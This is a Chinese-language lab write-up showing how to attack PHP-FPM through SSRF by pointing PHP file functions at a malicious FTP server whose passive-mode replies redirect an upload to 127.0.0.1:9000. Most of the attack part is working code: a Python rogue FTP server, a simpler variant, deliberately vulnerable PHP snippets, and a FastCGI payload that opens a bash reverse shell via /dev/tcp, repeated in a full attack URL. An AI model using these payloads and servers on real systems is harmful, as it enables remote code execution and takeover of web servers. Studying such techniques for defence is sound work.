摘要 通过受害机请求恶意FTP服务,攻击内网中脆弱的FPM服务
### 实验--通过FTP_SSRF_攻击PHP-FPM
环境准备-SSRF file.php
:
1 2 3 <?php $contents = file_get_contents($_GET['viewFile' ]); file_put_contents($_GET['viewFile' ], $contents);
实验环境:
攻击机:kali-linux-2020.3 IP:192.168.64.129
服务机:Ubuntu 20 IP:192.168.64.128
其他环境条件请看前置文章
原理准备 file_get_contents & file_put_contents file_get_contents 函数把整个文件读入一个字符串中。
file_put_contents() 函数把一个字符串写入文件中。file_put_contents不会自动创建目录。
与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
同样的,类似的函数支持许多强大的文件传输协议,php,file,data……以及ftp
PHP-FPM 发送数据 如果我们能向 PHP-FPM 发送一个任意的二进制数据包 ,就可以在机器上执行代码。这种技术经常与gopher://协议结合使用,curl支持gopher://协议,但file_get_contents却不支持。
另一个已知的允许通过 TCP 发送二进制数据包的协议是FTP ,更准确的说是该协议的被动模式 ,即:如果一个客户端试图从FTP服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个有服务端指定的IP和端口上 。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的某一个端口,如果它愿意的话。
那么,对于file.php:
viewFile=ftp://evil-server/file.txt
首先通过 file_get_contents() 函数连接到我们的FTP服务器,并下载file.txt。
然后再通过 file_put_contents() 函数连接到我们的FTP服务器,并将其上传回file.txt。
我们将使用 FTP 协议的被动模式让 file_get_contents() 在我们的服务器上下载一个文件,当它试图使用 file_put_contents() 把它上传回去时,我们将告诉它把文件发送到 127.0.0.1:9000。这样,我们就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包,从而执行代码,造成SSRF。
攻击过程 payload 使用gopherus生成攻击fastcgi的payload:
截取_
后的数据段
恶意 FTP 服务
https://mp.weixin.qq.com/s/UPf62W0LoOGsFAdH4uqBcQ
我对此文件进一步修改了下,使其更好用一点……因为这里踩了好长时间的坑……
关于状态码:https://blog.csdn.net/qq981378640/article/details/51254177
替换data内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 import socketfrom urllib.parse import unquotedata1 = "%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.64.128/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00" payload = unquote(data1) payload = payload.encode('utf-8' ) Host = '0.0.0.0' Port = 23 Real_IP = "192,168,64,128" PASV_Port = 1234 FPM_Port = 9000 sk = socket.socket() sk.bind((Host, Port)) sk.listen(5 ) sk2 = socket.socket() sk2.bind((Host, PASV_Port)) sk2.listen() count = 1 while 1 : conn, address = sk.accept() conn.send(b"200 \n" ) print(conn.recv(20 )) if count == 1 : conn.send(b"220 ready\n" ) else : conn.send(b"200 ready\n" ) print(conn.recv(20 )) if count == 1 : conn.send(b"215 \n" ) else : conn.send(b"200 \n" ) print(conn.recv(20 )) if count == 1 : conn.send(b"213 3 \n" ) else : conn.send(b"300 \n" ) print(conn.recv(20 )) conn.send(b"200 \n" ) print(conn.recv(20 )) if count == 1 : con_ip = "227" + " " + Real_IP + "," + str (int (PASV_Port / 256 )) + "," + str (PASV_Port % 256 ) + '\n' con_ip = bytes (con_ip, encoding="utf8" ) conn.send(con_ip) else : con2_ip = "227" + " " + "127,0,0,1" + "," + str (int (FPM_Port/256 )) + "," + str (FPM_Port % 256 ) + '\n' con2_ip = bytes (con2_ip, encoding="utf8" ) conn.send(con2_ip) print(conn.recv(20 )) if count == 1 : conn.send(b"125 \n" ) print("建立连接!" ) conn2, address2 = sk2.accept() conn2.send(payload) conn2.close() print("断开连接!" ) else : conn.send(b"150 \n" ) print(conn.recv(20 )) exit() if count == 1 : conn.send(b"226 \n" ) conn.close() count += 1
运行,起FTP服务
开启监听
SSRF 在file.php
中:
成功反弹shell!
拓展 当仅有file2.php
:
1 2 <?php file_put_contents($_GET['file' ], $_GET['data' ]);
我们只需要对请求与数据进行转发即可
简单的恶意 FTP 服务 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0' , 23 )) s.listen(1 ) conn, addr = s.accept() conn.send(b'220 welcome\n' ) conn.send(b'331 Please specify the password.\n' ) conn.send(b'230 Login successful.\n' ) conn.send(b'200 Switching to Binary mode.\n' ) conn.send(b'550 Could not get the file size.\n' ) conn.send(b'150 ok\n' ) conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n' ) conn.send(b'150 Permission denied.\n' ) conn.send(b'221 Goodbye.\n' ) conn.close()
攻击 payload:
1 http://192.168.64.129/file2.php?file=ftp://aaa@192.168.64.128:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.64.128/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
反弹成功!
参考文章: [浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法](https://whoamianony.top/2021/05/15/Web安全/浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法/)
LARAVEL的那个RCE最有趣的点在这里
https://github.com/Maskhe/evil_ftp/blob/master/evil_ftp.py